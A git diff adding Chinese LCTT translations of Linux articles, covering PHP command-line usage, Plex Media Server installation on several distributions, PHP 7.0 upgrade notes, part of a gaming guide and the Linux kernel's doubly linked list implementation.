我们可以直接在Linux命令行使用`phpinfo()`这个十分有价值的调试工具而不需要从文件来调用,只需执行以下命令:** + + # php -r 'phpinfo();' + +![PHP Debugging Tool](http://www.tecmint.com/wp-content/uploads/2015/07/PHP-Debugging-Tool.png) + +*PHP调试工具* + +这里,‘-r‘ 选项会让PHP代码在Linux终端中不带`<`和`>`标记直接执行。 + +**3. 以交互模式运行PHP并做一些数学运算。这里,‘-a‘ 选项用于以交互模式运行PHP。** + + # php -a + + Interactive shell + + php > echo 2+3; + 5 + php > echo 9-6; + 3 + php > echo 5*4; + 20 + php > echo 12/3; + 4 + php > echo 12/5; + 2.4 + php > echo 2+3-1; + 4 + php > echo 2+3-1*3; + 2 + php > exit + +输入 ‘exit‘ 或者按下 ‘ctrl+c‘ 来关闭PHP交互模式。 + +![Enable PHP Interactive Mode](http://www.tecmint.com/wp-content/uploads/2015/07/Enable-PHP-interactive-mode1.png) + +*启用PHP交互模式* + +**4. 你可以仅仅将PHP脚本作为shell脚本来运行。首先,创建在你当前工作目录中创建一个PHP样例脚本。** + + # echo -e '#!/usr/bin/php\n' > phpscript.php + +注意,我们在该PHP脚本的第一行使用`#!/usr/bin/php`,就像在shell脚本中那样(`/bin/bash`)。第一行的`#!/usr/bin/php`告诉Linux命令行用 PHP 解释器来解析该脚本文件。 + +其次,让该脚本可执行: + + # chmod 755 phpscript.php + +接着来运行它, + + # ./phpscript.php + +**5. 你可以完全靠自己通过交互shell来创建简单函数,这你一定会被惊到了。下面是循序渐进的指南。** + +开启PHP交互模式。 + + # php -a + +创建一个函数,将它命名为 `addition`。同时,声明两个变量 `$a` 和 `$b`。 + + php > function addition ($a, $b) + +使用花括号来在其间为该函数定义规则。 + + php > { + +定义规则。这里,该规则讲的是添加这两个变量。 + + php { echo $a + $b; + +所有规则定义完毕,通过闭合花括号来封装规则。 + + php {} + +测试函数,添加数字4和3,命令如下: + + php > var_dump (addition(4,3)); + +#### 样例输出 #### + + 7NULL + +你可以运行以下代码来执行该函数,你可以测试不同的值,你想来多少次都行。将里头的 a 和 b 替换成你自己的值。 + + php > var_dump (addition(a,b)); + +---------- + + php > var_dump (addition(9,3.3)); + +#### 样例输出 #### + + 12.3NULL + +![Create PHP Functions](http://www.tecmint.com/wp-content/uploads/2015/07/Create-PHP-Functions.png) + +*创建PHP函数* + +你可以一直运行该函数,直至退出交互模式(ctrl+z)。同时,你也应该注意到了,上面输出结果中返回的数据类型为 NULL。这个问题可以通过要求 php 交互 shell用 return 代替 echo 返回结果来修复。 + +只需要在上面的函数的中 ‘echo‘ 声明用 ‘return‘ 来替换 + +替换 + + php { echo $a + $b; + +为 + + php { return $a + $b; + +剩下的东西和原理仍然一样。 + +这里是一个样例,在该样例的输出结果中返回了正确的数据类型。 + +![PHP Functions](http://www.tecmint.com/wp-content/uploads/2015/07/PHP-Functions.png) + +*PHP函数* + +永远都记住,用户定义的函数不会从一个shell会话保留到下一个shell会话,因此,一旦你退出交互shell,它就会丢失了。 + +希望你喜欢此次教程。保持连线,你会获得更多此类文章。保持关注,保持健康。请在下面的评论中为我们提供有价值的反馈。点赞并分享,帮助我们扩散。 + +还请阅读: [12个Linux终端中有用的的PHP命令行用法——第二部分][1] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/run-php-codes-from-linux-commandline/ + +作者:[Avishek Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/execute-php-codes-functions-in-linux-commandline/ diff --git a/published/201507/Install Plex Media Server On Ubuntu or CentOS 7.1 or Fedora 22.md b/published/201507/Install Plex Media Server On Ubuntu or CentOS 7.1 or Fedora 22.md new file mode 100644 index 0000000000..f8f1a26a3b --- /dev/null +++ b/published/201507/Install Plex Media Server On Ubuntu or CentOS 7.1 or Fedora 22.md @@ -0,0 +1,188 @@ +如何在 Ubuntu/CentOS7.1/Fedora22 上安装 Plex Media Server +================================================================================ +在本文中我们将会向你展示如何容易地在主流的最新Linux发行版上安装Plex Media Server。在Plex安装成功后你将可以使用你的中央式家庭媒体播放系统,该系统能让多个Plex播放器App共享它的媒体资源,并且该系统允许你设置你的环境,增加你的设备以及设置一个可以一起使用Plex的用户组。让我们首先在Ubuntu15.04上开始Plex的安装。 + +### 基本的系统资源 ### + +系统资源主要取决于你打算用来连接服务的设备类型和数量, 所以根据我们的需求我们将会在一个单独的服务器上使用以下系统资源。 + + + + + + + + + + + + + + + + + + + + + + + +
Plex Media Server
基础操作系统Ubuntu 15.04 / CentOS 7.1 / Fedora 22 Work Station
Plex Media ServerVersion 0.9.12.3.1173-937aac3
RAM 和 CPU1 GB  , 2.0 GHZ
硬盘30 GB
+ +### 在Ubuntu 15.04上安装Plex Media Server 0.9.12.3 ### + +我们现在准备开始在Ubuntu上安装Plex Media Server,让我们从下面的步骤开始来让Plex做好准备。 + +#### 步骤 1: 系统更新 #### + +用root权限登录你的服务器。确保你的系统是最新的,如果不是就使用下面的命令。 + + root@ubuntu-15:~#apt-get update + +#### 步骤 2: 下载最新的Plex Media Server包 #### + +创建一个新目录,用wget命令从[Plex官网](https://plex.tv/)下载为Ubuntu提供的.deb包并放入该目录中。 + + root@ubuntu-15:~# cd /plex/ + root@ubuntu-15:/plex# + root@ubuntu-15:/plex# wget https://downloads.plex.tv/plex-media-server/0.9.12.3.1173-937aac3/plexmediaserver_0.9.12.3.1173-937aac3_amd64.deb + +#### 步骤 3: 安装Plex Media Server的Debian包 #### + +现在在相同的目录下执行下面的命令来开始debian包的安装, 然后检查plexmediaserver服务的状态。 + + root@ubuntu-15:/plex# dpkg -i plexmediaserver_0.9.12.3.1173-937aac3_amd64.deb + +---------- + + root@ubuntu-15:~# service plexmediaserver status + +![Plexmediaserver Service](http://blog.linoxide.com/wp-content/uploads/2015/06/plex-status.png) + +### 在Ubuntu 15.04上设置Plex Media Web应用 ### + +让我们在你的本地网络主机中打开web浏览器, 并用你的本地主机IP以及端口32400来打开Web界面,并完成以下步骤来配置Plex。 + + http://172.25.10.179:32400/web + http://localhost:32400/web + +#### 步骤 1: 登录前先注册 #### + +在你访问到Plex Media Server的Web界面之后, 确保注册并填上你的用户名和密码来登录。 + +![Plex Sign In](http://blog.linoxide.com/wp-content/uploads/2015/06/PMS-Login.png) + +#### 输入你的PIN码来保护你的Plex Media用户#### + +![Plex User Pin](http://blog.linoxide.com/wp-content/uploads/2015/06/333.png) + +现在你已经成功的在Plex Media下配置你的用户。 + +![Welcome To Plex](http://blog.linoxide.com/wp-content/uploads/2015/06/3333.png) + +### 在设备上而不是本地服务器上打开Plex Web应用 ### + +如我们在Plex Media主页看到的提示“你没有权限访问这个服务”。 这说明我们跟服务器计算机不在同个网络。 + +![Plex Server Permissions](http://blog.linoxide.com/wp-content/uploads/2015/06/33.png) + +现在我们需要解决这个权限问题,以便我们通过设备访问服务器而不是只能在服务器上访问。通过完成下面的步骤完成。 + +### 设置SSH隧道使Windows系统可以访问到Linux服务器 ### + +首先我们需要建立一条SSH隧道以便我们访问远程服务器资源,就好像资源在本地一样。 这仅仅是必要的初始设置。 + +如果你正在使用Windows作为你的本地系统,Linux作为服务器,那么我们可以参照下图通过Putty来设置SSH隧道。 +(LCTT译注: 首先要在Putty的Session中用Plex服务器IP配置一个SSH的会话,才能进行下面的隧道转发规则配置。 +然后点击“Open”,输入远端服务器用户名密码, 来保持SSH会话连接。) + +![Plex SSH Tunnel](http://blog.linoxide.com/wp-content/uploads/2015/06/ssh-tunnel.png) + +**一旦你完成SSH隧道设置:** + +打开你的Web浏览器窗口并在地址栏输入下面的URL。 + + http://localhost:8888/web + +浏览器将会连接到Plex服务器并且加载与服务器本地功能一致的Plex Web应用。 同意服务条款并开始。 + +![Agree to Plex term](http://blog.linoxide.com/wp-content/uploads/2015/06/5.png) + +现在一个功能齐全的Plex Media Server已经准备好添加新的媒体库、频道、播放列表等资源。 + +![PMS Settings](http://blog.linoxide.com/wp-content/uploads/2015/06/8.png) + +### 在CentOS 7.1上安装Plex Media Server 0.9.12.3 ### + +我们将会按照上述在Ubuntu15.04上安装Plex Media Server的步骤来将Plex安装到CentOS 7.1上。 + +让我们从安装Plex Media Server开始。 + +#### 步骤1: 安装Plex Media Server #### + +为了在CentOS7.1上安装Plex Media Server,我们需要从Plex官网下载rpm安装包。 因此我们使用wget命令来将rpm包下载到一个新的目录下。 + + [root@linux-tutorials ~]# cd /plex + [root@linux-tutorials plex]# wget https://downloads.plex.tv/plex-media-server/0.9.12.3.1173-937aac3/plexmediaserver-0.9.12.3.1173-937aac3.x86_64.rpm + +#### 步骤2: 安装RPM包 #### + +在完成安装包完整的下载之后, 我们将会使用rpm命令在相同的目录下安装这个rpm包。 + + [root@linux-tutorials plex]# ls + plexmediaserver-0.9.12.3.1173-937aac3.x86_64.rpm + [root@linux-tutorials plex]# rpm -i plexmediaserver-0.9.12.3.1173-937aac3.x86_64.rpm + +#### 步骤3: 启动Plexmediaservice #### + +我们已经成功地安装Plex Media Server, 现在我们只需要重启它的服务然后让它永久地启用。 + + [root@linux-tutorials plex]# systemctl start plexmediaserver.service + [root@linux-tutorials plex]# systemctl enable plexmediaserver.service + [root@linux-tutorials plex]# systemctl status plexmediaserver.service + +### 在CentOS-7.1上设置Plex Media Web应用 ### + +现在我们只需要重复在Ubuntu上设置Plex Web应用的所有步骤就可以了。 让我们在Web浏览器上打开一个新窗口并用localhost或者Plex服务器的IP来访问Plex Media Web应用。 + + http://172.20.3.174:32400/web + http://localhost:32400/web + +为了获取服务的完整权限你需要重复创建SSH隧道的步骤。 在你用新账户注册后我们将可以访问到服务的所有特性,并且可以添加新用户、添加新的媒体库以及根据我们的需求来设置它。 + +![Plex Device Centos](http://blog.linoxide.com/wp-content/uploads/2015/06/plex-devices-centos.png) + +### 在Fedora 22工作站上安装Plex Media Server 0.9.12.3 ### + +下载和安装Plex Media Server步骤基本跟在CentOS 7.1上安装的步骤一致。我们只需要下载对应的rpm包然后用rpm命令来安装它。 + +![PMS Installation](http://blog.linoxide.com/wp-content/uploads/2015/06/plex-on-fedora.png) + +### 在Fedora 22工作站上配置Plex Media Web应用 ### + +我们在(与Plex服务器)相同的主机上配置Plex Media Server,因此不需要设置SSH隧道。只要在你的Fedora 22工作站上用Plex Media Server的默认端口号32400打开Web浏览器并同意Plex的服务条款即可。 + +![Plex Agreement](http://blog.linoxide.com/wp-content/uploads/2015/06/Plex-Terms.png) + +*欢迎来到Fedora 22工作站上的Plex Media Server* + +让我们用你的Plex账户登录,并且开始将你喜欢的电影频道添加到媒体库、创建你的播放列表、添加你的图片以及享用更多其他的特性。 + +![Plex Add Libraries](http://blog.linoxide.com/wp-content/uploads/2015/06/create-library.png) + +### 总结 ### + +我们已经成功完成Plex Media Server在主流Linux发行版上安装和配置。Plex Media Server永远都是媒体管理的最佳选择。 它在跨平台上的设置是如此的简单,就像我们在Ubuntu,CentOS以及Fedora上的设置一样。它简化了你组织媒体内容的工作,并将媒体内容“流”向其他计算机以及设备以便你跟你的朋友分享媒体内容。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/tools/install-plex-media-server-ubuntu-centos-7-1-fedora-22/ + +作者:[Kashif Siddique][a] +译者:[dingdongnigetou](https://github.com/dingdongnigetou) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/kashifs/ diff --git a/published/201507/PHP 7 upgrading.md b/published/201507/PHP 7 upgrading.md new file mode 100644 index 0000000000..013df69a8b --- /dev/null +++ b/published/201507/PHP 7 upgrading.md @@ -0,0 +1,626 @@ +PHP 7.0 升级备注 +=============== + +1. 向后不兼容的变化 +2. 新功能 +3. SAPI 模块中的变化 +4. 废弃的功能 +5. 变化的功能 +6. 新功能 +7. 新的类和接口 +8. 移除的扩展和 SAPI +9. 扩展的其它变化 +10. 新的全局常量 +11. INI 文件处理的变化 +12. Windows 支持 +13. 其它变化 + + +##1. 向后不兼容的变化 + +###语言变化 + +####变量处理的变化 + +* 间接变量、属性和方法引用现在以从左到右的语义进行解释。一些例子: + + $$foo['bar']['baz'] // 解释做 ($$foo)['bar']['baz'] + $foo->$bar['baz'] // 解释做 ($foo->$bar)['baz'] + $foo->$bar['baz']() // 解释做 ($foo->$bar)['baz']() + Foo::$bar['baz']() // 解释做 (Foo::$bar)['baz']() + + 要恢复以前的行为,需要显式地加大括号: + + ${$foo['bar']['baz']} + $foo->{$bar['baz']} + $foo->{$bar['baz']}() + Foo::{$bar['baz']}() + +* 全局关键字现在只接受简单变量。像以前的 + + global $$foo->bar; + + 现在要求如下写法: + + global ${$foo->bar}; + +* 变量或函数调用的前后加上括号不再有任何影响。例如下列代码,函数调用结果以引用的方式传给一个函数 + + function getArray() { return [1, 2, 3]; } + + $last = array_pop(getArray()); + // Strict Standards: 只有变量可以用引用方式传递 + $last = array_pop((getArray())); + // Strict Standards: 只有变量可以用引用方式传递 + + 现在无论是否使用括号,都会抛出一个严格标准错误。以前在第二种调用方式下不会有提示。 + +* 数组元素或对象属性自动安装引用顺序创建,现在的结果顺序将不同。例如: + + $array = []; + $array["a"] =& $array["b"]; + $array["b"] = 1; + var_dump($array); + + 现在结果是 ["a" => 1, "b" => 1],而以前的结果是 ["b" => 1, "a" => 1]。 + +相关的 RFC: +* https://wiki.php.net/rfc/uniform_variable_syntax +* https://wiki.php.net/rfc/abstract_syntax_tree + +####list() 的变化 + +* list() 不再以反序赋值,例如: + + list($array[], $array[], $array[]) = [1, 2, 3]; + var_dump($array); + + 现在结果是 $array == [1, 2, 3] ,而不是 [3, 2, 1]。注意仅赋值**顺序**变化了,而赋值仍然一致(LCTT 译注:即以前的 list()行为是从后面的变量开始逐一赋值,这样对与上述用法就会产生 [3,2,1] 这样的结果了。)。例如,类似如下的常规用法 + + list($a, $b, $c) = [1, 2, 3]; + // $a = 1; $b = 2; $c = 3; + + 仍然保持当前的行为。 + +* 不再允许对空的 list() 赋值。如下全是无效的: + + list() = $a; + list(,,) = $a; + list($x, list(), $y) = $a; + +* list() 不再支持对字符串的拆分(以前也只在某些情况下支持)。如下代码: + + $string = "xy"; + list($x, $y) = $string; + + 现在的结果是: $x == null 和 $y == null (没有提示),而以前的结果是: + $x == "x" 和 $y == "y" 。此外, list() 现在总是可以处理实现了 ArrayAccess 的对象,例如: + + list($a, $b) = (object) new ArrayObject([0, 1]); + + 现在的结果是: $a == 0 和 $b == 1。 以前 $a 和 $b 都是 null。 + +相关 RFC: +* https://wiki.php.net/rfc/abstract_syntax_tree#changes_to_list +* https://wiki.php.net/rfc/fix_list_behavior_inconsistency + +####foreach 的变化 + +* foreach() 迭代不再影响数组内部指针,数组指针可通过 current()/next() 等系列的函数访问。例如: + + $array = [0, 1, 2]; + foreach ($array as &$val) { + var_dump(current($array)); + } + + 现在将指向值 int(0) 三次。以前的输出是 int(1)、int(2) 和 bool(false)。 + +* 在对数组按值迭代时,foreach 总是在对数组副本进行操作,在迭代中任何对数组的操作都不会影响到迭代行为。例如: + + $array = [0, 1, 2]; + $ref =& $array; // Necessary to trigger the old behavior + foreach ($array as $val) { + var_dump($val); + unset($array[1]); + } + + 现在将打印出全部三个元素 (0 1 2),而以前第二个元素 1 会跳过 (0 2)。 + +* 在对数组按引用迭代时,对数组的修改将继续会影响到迭代。不过,现在 PHP 在使用数字作为键时可以更好的维护数组内的位置。例如,在按引用迭代过程中添加数组元素: + + $array = [0]; + foreach ($array as &$val) { + var_dump($val); + $array[1] = 1; + } + + 现在迭代会正确的添加了元素。如上代码输出是 "int(0) int(1)",而以前只是 "int(0)"。 + +* 对普通(不可遍历的)对象按值或按引用迭代的行为类似于对数组进行按引用迭代。这符合以前的行为,除了如上一点所述的更精确的位置管理的改进。 + +* 对可遍历对象的迭代行为保持不变。 + +相关 RFC: https://wiki.php.net/rfc/php7_foreach + +####参数处理的变化 + +* 不能定义两个同名的函数参数。例如,下面的方法将会触发编译时错误: + + public function foo($a, $b, $unused, $unused) { + // ... + } + + 如上的代码应该修改使用不同的参数名,如: + + public function foo($a, $b, $unused1, $unused2) { + // ... + } + +* func\_get\_arg() 和 func\_get\_args() 函数不再返回传递给参数的原始值,而是返回其当前值(也许会被修改)。例如: + + function foo($x) { + $x++; + var_dump(func_get_arg(0)); + } + foo(1); + + 将会打印 "2" 而不是 "1"。代码应该改成仅在调用 func\_get\_arg(s) 后进行修改操作。 + + function foo($x) { + var_dump(func_get_arg(0)); + $x++; + } + + 或者应该避免修改参数: + + function foo($x) { + $newX = $x + 1; + var_dump(func_get_arg(0)); + } + +* 类似的,异常回溯也不再显示传递给函数的原始值,而是修改后的值。例如: + + function foo($x) { + $x = 42; + throw new Exception; + } + foo("string"); + + 现在堆栈跟踪的结果是: + + Stack trace: + #0 file.php(4): foo(42) + #1 {main} + + 而以前是: + + Stack trace: + #0 file.php(4): foo('string') + #1 {main} + + 这并不会影响到你的代码的运行时行为,值得注意的是在调试时会有所不同。 + + 同样的限制也会影响到 debug\_backtrace() 及其它检查函数参数的函数。 + +相关 RFC: https://wiki.php.net/phpng + +####整数处理的变化 + +* 无效的八进制表示(包含大于7的数字)现在会产生编译错误。例如,下列代码不再有效: + + $i = 0781; // 8 不是一个有效的八进制数字! + + 以前,无效的数字(以及无效数字后的任何数字)会简单的忽略。以前如上 $i 的值是 7,因为后两位数字会被悄悄丢弃。 + +* 二进制以负数镜像位移现在会抛出一个算术错误: + + var_dump(1 >> -1); + // ArithmeticError: 以负数进行位移 + +* 向左位移的位数超出了整型宽度时,结果总是 0。 + + var_dump(1 << 64); // int(0) + + 以前上述代码的结果依赖于所用的 CPU 架构。例如,在 x86(包括 x86-64) 上结果是 int(1),因为其位移操作数在范围内。 + +* 类似的,向右位移的位数超出了整型宽度时,其结果总是 0 或 -1 (依赖于符号): + + var_dump(1 >> 64); // int(0) + var_dump(-1 >> 64); // int(-1) + +相关 RFC: https://wiki.php.net/rfc/integer_semantics + +####字符串处理的变化 + +* 包含十六进制数字的字符串不会再被当做数字,也不会被特殊处理。参见例子中的新行为: + + var_dump("0x123" == "291"); // bool(false) (以前是 true) + var_dump(is_numeric("0x123")); // bool(false) (以前是 true) + var_dump("0xe" + "0x1"); // int(0) (以前是 16) + + var_dump(substr("foo", "0x1")); // string(3) "foo" (以前是 "oo") + // 注意:遇到了一个非正常格式的数字 + + filter\_var() 可以用来检查一个字符串是否包含了十六进制数字,或这个字符串是否能转换为整数: + + $str = "0xffff"; + $int = filter_var($str, FILTER_VALIDATE_INT, FILTER_FLAG_ALLOW_HEX); + if (false === $int) { + throw new Exception("Invalid integer!"); + } + var_dump($int); // int(65535) + +* 由于给双引号字符串和 HERE 文档增加了 Unicode 码点转义格式(Unicode Codepoint Escape Syntax), 所以带有无效序列的 "\u{" 现在会造成错误: + + $str = "\u{xyz}"; // 致命错误:无效的 UTF-8 码点转义序列 + + 要避免这种情况,需要转义开头的反斜杠: + + $str = "\\u{xyz}"; // 正确 + + 不过,不跟随 { 的 "\u" 不受影响。如下代码不会生成错误,和前面的一样工作: + + $str = "\u202e"; // 正确 + +相关 RFC: +* https://wiki.php.net/rfc/remove_hex_support_in_numeric_strings +* https://wiki.php.net/rfc/unicode_escape + +####错误处理的变化 + +* 现在有两个异常类: Exception 和 Error 。这两个类都实现了一个新接口: Throwable 。在异常处理代码中的类型指示也许需要修改来处理这种情况。 + +* 一些致命错误和可恢复的致命错误现在改为抛出一个 Error 。由于 Error 是一个独立于 Exception 的类,这些异常不会被已有的 try/catch 块捕获。 + + 可恢复的致命错误被转换为一个异常,所以它们不能在错误处理里面悄悄的忽略。部分情况下,类型指示失败不再能忽略。 + +* 解析错误现在会生成一个 Error 扩展的 ParseError 。除了以前的基于返回值 / error_get_last() 的处理,对某些可能无效的代码的 eval() 的错误处理应该改为捕获 ParseError 。 + +* 内部类的构造函数在失败时总是会抛出一个异常。以前一些构造函数会返回 NULL 或一个不可用的对象。 + +* 一些 E_STRICT 提示的错误级别改变了。 + +相关 RFC: +* https://wiki.php.net/rfc/engine_exceptions_for_php7 +* https://wiki.php.net/rfc/throwable-interface +* https://wiki.php.net/rfc/internal_constructor_behaviour +* https://wiki.php.net/rfc/reclassify_e_strict + +####其它的语言变化 + +* 静态调用一个不兼容的 $this 上下文的非静态调用的做法不再支持。这种情况下,$this 是没有定义的,但是对它的调用是允许的,并带有一个废弃提示。例子: + + class A { + public function test() { var_dump($this); } + } + + // 注意:没有从类 A 进行扩展 + class B { + public function callNonStaticMethodOfA() { A::test(); } + } + + (new B)->callNonStaticMethodOfA(); + + // 废弃:非静态方法 A::test() 不应该被静态调用 + // 提示:未定义的变量 $this + NULL + + 注意,这仅出现在来自不兼容上下文的调用上。如果类 B 扩展自类 A ,调用会被允许,没有任何提示。 + +* 不能使用下列类名、接口名和特殊名(大小写敏感): + + bool + int + float + string + null + false + true + + 这用于 class/interface/trait 声明、 class_alias() 和 use 语句中。 + + 此外,下列类名、接口名和特殊名保留做将来使用,但是使用时尚不会抛出错误: + + resource + object + mixed + numeric + +* yield 语句结构当用在一个表达式上下文时,不再要求括号。它现在是一个优先级在 “print” 和 “=>” 之间的右结合操作符。在某些情况下这会导致不同的行为,例如: + + echo yield -1; + // 以前被解释如下 + echo (yield) - 1; + // 现在被解释如下 + echo yield (-1); + + yield $foo or die; + // 以前被解释如下 + yield ($foo or die); + // 现在被解释如下 + (yield $foo) or die; + + 这种情况可以通过增加括号来解决。 + +* 移除了 ASP (\<%) 和 script (\ +
+ +注,发布时根据情况看怎么处理 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/linux-gaming-guide/ + +作者:[Abhishek][a] +译者:[name1e5s](https://github.com/name1e5s) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/reasons-switch-linux-windows-xp/ +[2]:http://itsfoss.com/category/games/ +[3]:http://blog.counter-strike.net/ +[4]:https://pes.konami.com/tag/pes-2015/ +[5]:http://store.steampowered.com/ +[6]:https://en.wikipedia.org/wiki/Digital_rights_management +[7]:http://itsfoss.com/valve-annouces-linux-based-gaming-operating-system-steamos/ +[8]:http://itsfoss.com/install-steam-ubuntu-linux/ +[9]:http://www.gog.com/ +[10]:http://www.portablelinuxgames.org/ +[11]:http://gamedrift.org/GameStore.html +[12]:http://www.lgdb.org/ +[13]:http://www.penguspy.com/ +[14]:http://itsfoss.com/wine-1-5-11-released-ppa-available-to-download/ +[15]:https://appdb.winehq.org/ +[16]:https://www.codeweavers.com/products/ +[17]:https://www.playonlinux.com/en/supported_apps.html +[18]:http://empire.goodgamestudios.com/ +[19]:https://chrome.google.com/webstore/category/apps +[20]:http://itsfoss.com/nsnake-play-classic-snake-game-linux-terminal/ +[21]:http://itsfoss.com/play-2048-linux-terminal/ +[22]:https://ttygames.wordpress.com/ +[23]:https://www.gamingonlinux.com/ +[24]:http://freegamer.blogspot.fr/ +[25]:http://linuxgamenews.com/ +[26]:http://itsfoss.com/install-ubuntu-1404-dual-boot-mode-windows-8-81-uefi/ diff --git a/published/201605/20151122 Doubly linked list in the Linux Kernel.md b/published/201605/20151122 Doubly linked list in the Linux Kernel.md new file mode 100644 index 0000000000..d21ae7ded6 --- /dev/null +++ b/published/201605/20151122 Doubly linked list in the Linux Kernel.md @@ -0,0 +1,259 @@ +Linux 内核里的数据结构——双向链表 +================================================================================ + +双向链表 +-------------------------------------------------------------------------------- + +Linux 内核中自己实现了双向链表,可以在 [include/linux/list.h](https://github.com/torvalds/linux/blob/master/include/linux/list.h) 找到定义。我们将会首先从双向链表数据结构开始介绍**内核里的数据结构**。为什么?因为它在内核里使用的很广泛,你只需要在 [free-electrons.com](http://lxr.free-electrons.com/ident?i=list_head) 检索一下就知道了。 + +首先让我们看一下在 [include/linux/types.h](https://github.com/torvalds/linux/blob/master/include/linux/types.h) 里的主结构体: + +```C +struct list_head { + struct list_head *next, *prev; +}; +``` + +你可能注意到这和你以前见过的双向链表的实现方法是不同的。举个例子来说,在 [glib](http://www.gnu.org/software/libc/) 库里是这样实现的: + +```C +struct GList { + gpointer data; + GList *next; + GList *prev; +}; +``` + +通常来说一个链表结构会包含一个指向某个项目的指针。但是 Linux 内核中的链表实现并没有这样做。所以问题来了:**链表在哪里保存数据呢?**。实际上,内核里实现的链表是**侵入式链表(Intrusive list)**。侵入式链表并不在节点内保存数据-它的节点仅仅包含指向前后节点的指针,以及指向链表节点数据部分的指针——数据就是这样附加在链表上的。这就使得这个数据结构是通用的,使用起来就不需要考虑节点数据的类型了。 + +比如: + +```C +struct nmi_desc { + spinlock_t lock; + struct list_head head; +}; +``` + +让我们看几个例子来理解一下在内核里是如何使用 `list_head` 的。如上所述,在内核里有很多很多不同的地方都用到了链表。我们来看一个在杂项字符驱动里面的使用的例子。在 [drivers/char/misc.c](https://github.com/torvalds/linux/blob/master/drivers/char/misc.c) 的杂项字符驱动 API 被用来编写处理小型硬件或虚拟设备的小驱动。这些驱动共享相同的主设备号: + +```C +#define MISC_MAJOR 10 +``` + +但是都有各自不同的次设备号。比如: + +``` +ls -l /dev | grep 10 +crw------- 1 root root 10, 235 Mar 21 12:01 autofs +drwxr-xr-x 10 root root 200 Mar 21 12:01 cpu +crw------- 1 root root 10, 62 Mar 21 12:01 cpu_dma_latency +crw------- 1 root root 10, 203 Mar 21 12:01 cuse +drwxr-xr-x 2 root root 100 Mar 21 12:01 dri +crw-rw-rw- 1 root root 10, 229 Mar 21 12:01 fuse +crw------- 1 root root 10, 228 Mar 21 12:01 hpet +crw------- 1 root root 10, 183 Mar 21 12:01 hwrng +crw-rw----+ 1 root kvm 10, 232 Mar 21 12:01 kvm +crw-rw---- 1 root disk 10, 237 Mar 21 12:01 loop-control +crw------- 1 root root 10, 227 Mar 21 12:01 mcelog +crw------- 1 root root 10, 59 Mar 21 12:01 memory_bandwidth +crw------- 1 root root 10, 61 Mar 21 12:01 network_latency +crw------- 1 root root 10, 60 Mar 21 12:01 network_throughput +crw-r----- 1 root kmem 10, 144 Mar 21 12:01 nvram +brw-rw---- 1 root disk 1, 10 Mar 21 12:01 ram10 +crw--w---- 1 root tty 4, 10 Mar 21 12:01 tty10 +crw-rw---- 1 root dialout 4, 74 Mar 21 12:01 ttyS10 +crw------- 1 root root 10, 63 Mar 21 12:01 vga_arbiter +crw------- 1 root root 10, 137 Mar 21 12:01 vhci +``` + +现在让我们看看它是如何使用链表的。首先看一下结构体 `miscdevice`: + +```C +struct miscdevice +{ + int minor; + const char *name; + const struct file_operations *fops; + struct list_head list; + struct device *parent; + struct device *this_device; + const char *nodename; + mode_t mode; +}; +``` + +可以看到结构体`miscdevice`的第四个变量`list` 是所有注册过的设备的链表。在源代码文件的开始可以看到这个链表的定义: + +```C +static LIST_HEAD(misc_list); +``` + +它实际上是对用`list_head` 类型定义的变量的扩展。 + +```C +#define LIST_HEAD(name) \ + struct list_head name = LIST_HEAD_INIT(name) +``` + +然后使用宏 `LIST_HEAD_INIT` 进行初始化,这会使用变量`name` 的地址来填充`prev`和`next` 结构体的两个变量。 + +```C +#define LIST_HEAD_INIT(name) { &(name), &(name) } +``` + +现在来看看注册杂项设备的函数`misc_register`。它在一开始就用函数 `INIT_LIST_HEAD` 初始化了`miscdevice->list`。 + +```C +INIT_LIST_HEAD(&misc->list); +``` + +作用和宏`LIST_HEAD_INIT`一样。 + +```C +static inline void INIT_LIST_HEAD(struct list_head *list) +{ + list->next = list; + list->prev = list; +} +``` + +接下来,在函数`device_create` 创建了设备后,我们就用下面的语句将设备添加到设备链表: + +``` +list_add(&misc->list, &misc_list); +``` + +内核文件`list.h` 提供了向链表添加新项的 API 接口。我们来看看它的实现: + + +```C +static inline void list_add(struct list_head *new, struct list_head *head) +{ + __list_add(new, head, head->next); +} +``` + +实际上就是使用3个指定的参数来调用了内部函数`__list_add`: + +* new - 新项。 +* head - 新项将会插在`head`的后面 +* head->next - 插入前,`head` 后面的项。 + +`__list_add`的实现非常简单: + +```C +static inline void __list_add(struct list_head *new, + struct list_head *prev, + struct list_head *next) +{ + next->prev = new; + new->next = next; + new->prev = prev; + prev->next = new; +} +``` + +这里,我们在`prev`和`next` 之间添加了一个新项。所以我们开始时用宏`LIST_HEAD_INIT`定义的`misc` 链表会包含指向`miscdevice->list` 的向前指针和向后指针。 + +这儿还有一个问题:如何得到列表的内容呢?这里有一个特殊的宏: + +```C +#define list_entry(ptr, type, member) \ + container_of(ptr, type, member) +``` + +使用了三个参数: + +* ptr - 指向结构 `list_head` 的指针; +* type - 结构体类型; +* member - 在结构体内类型为`list_head` 的变量的名字; + +比如说: + +```C +const struct miscdevice *p = list_entry(v, struct miscdevice, list) +``` + +然后我们就可以使用`p->minor` 或者 `p->name`来访问`miscdevice`。让我们来看看`list_entry` 的实现: + +```C +#define list_entry(ptr, type, member) \ + container_of(ptr, type, member) +``` + +如我们所见,它仅仅使用相同的参数调用了宏`container_of`。初看这个宏挺奇怪的: + +```C +#define container_of(ptr, type, member) ({ \ + const typeof( ((type *)0)->member ) *__mptr = (ptr); \ + (type *)( (char *)__mptr - offsetof(type,member) );}) +``` + +首先你可以注意到花括号内包含两个表达式。编译器会执行花括号内的全部语句,然后返回最后的表达式的值。 + +举个例子来说: + +``` +#include + +int main() { + int i = 0; + printf("i = %d\n", ({++i; ++i;})); + return 0; +} +``` + +最终会打印出`2` + 